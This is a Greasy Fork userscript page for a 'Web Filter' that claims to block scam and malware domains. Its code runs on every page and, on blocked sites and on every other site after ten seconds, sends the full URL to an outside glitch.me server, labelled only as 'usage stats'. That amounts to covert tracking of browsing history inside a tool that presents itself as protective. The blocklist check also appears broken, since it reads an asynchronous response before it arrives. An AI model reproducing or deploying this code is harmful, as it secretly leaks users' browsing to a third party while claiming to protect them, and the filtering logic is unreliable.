Web Filter (Spams and Scams Gone!) [27K Sites Blocked (And Still Updating!)]

Filter out bad urls, scams, malware, shock sites, etc.

目前為 2020-06-24 提交的版本,檢視 最新版本

  1. // ==UserScript==
  2. // @name Web Filter (Spams and Scams Gone!) [27K Sites Blocked (And Still Updating!)]
  3. // @namespace https://greasyfork.org/en/users/198860-flarez-gaming
  4. // @version 0.1
  5. // @description Filter out bad urls, scams, malware, shock sites, etc.
  6. // @author fz
  7. // @include *
  8. // @grant unsafeWindow
  9. // @run-at document-start
  10. // ==/UserScript==
  11.  
  12. var xml;
  13. var arr = ["https://cdn.glitch.com/94b7438a-e136-41db-80b8-a78ea1a6e027%2Fdomain%20list.txt?v=1592968773112"]; //cached blocklist from http://mirror1.malwaredomains.com/files/domains.txt
  14. xml = new XMLHttpRequest(); xml.open("GET", arr[0], true); xml.send();
  15. var resp = xml.responseText.split("\n");
  16. resp.shift();resp.shift();resp.shift();resp.shift();
  17. resp = resp.map((e)=>{return e.slice(2, (e).slice(2, -1).indexOf(" ") + 2)});
  18. //resp = resp.concat(["www.google.com"]); was for testing malicious domains
  19.  
  20. if (resp.includes(location.hostname)) {
  21. xml = new XMLHttpRequest();
  22. xml.open("POST", "https://ksw2-moomoo.glitch.me/", true);
  23. xml.setRequestHeader("Content-type", "application/json");
  24. xml.send(JSON.stringify({ //usage stats
  25. data: window.location.href + ";true",
  26. key: "wft"
  27. }));
  28. unsafeWindow.onbeforeunload = null;
  29. window.location = "https://blank.org";
  30. } else {
  31. //if blocked
  32. setTimeout(()=>{
  33. xml = new XMLHttpRequest();
  34. xml.open("POST", "https://ksw2-moomoo.glitch.me/", true);
  35. xml.setRequestHeader("Content-type", "application/json");
  36. xml.send(JSON.stringify({ //usage stats
  37. data: window.location.href + ";false",
  38. key: "wft"
  39. }));
  40. }, 10000);
  41. //if not blocked
  42. };